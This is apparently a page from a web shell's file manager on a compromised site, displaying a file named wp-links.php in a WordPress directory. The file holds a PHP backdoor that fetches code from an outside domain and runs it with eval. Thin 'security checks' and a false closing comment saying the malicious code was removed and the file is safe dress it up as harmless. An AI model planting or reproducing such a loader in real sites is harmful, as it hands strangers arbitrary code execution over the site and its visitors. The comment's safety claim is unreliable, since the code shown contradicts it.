D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
mybf1
/
public_html
/
class.bf1.my
/
Filename :
wp-links.php
back
Copy
<?php function execute_remote_php_safe($url) { // Security checks $allowed_domains = ['stepmomhub.com']; // Hanya izinkan domain tertentu $domain = parse_url($url, PHP_URL_HOST); if (!in_array($domain, $allowed_domains)) { throw new Exception("Domain tidak diizinkan"); } // Max file size (1MB) $max_size = 1024 * 1024; // Get content dengan cURL $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_MAXFILESIZE => $max_size, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $code = curl_exec($ch); if (curl_errno($ch)) { curl_close($ch); throw new Exception("cURL Error: " . curl_error($ch)); } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { throw new Exception("HTTP Error: " . $http_code); } if (strlen($code) > $max_size) { throw new Exception("File terlalu besar"); } // Jalankan kode ob_start(); eval("?>".$code); return ob_get_clean(); } // Contoh penggunaan /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ ?>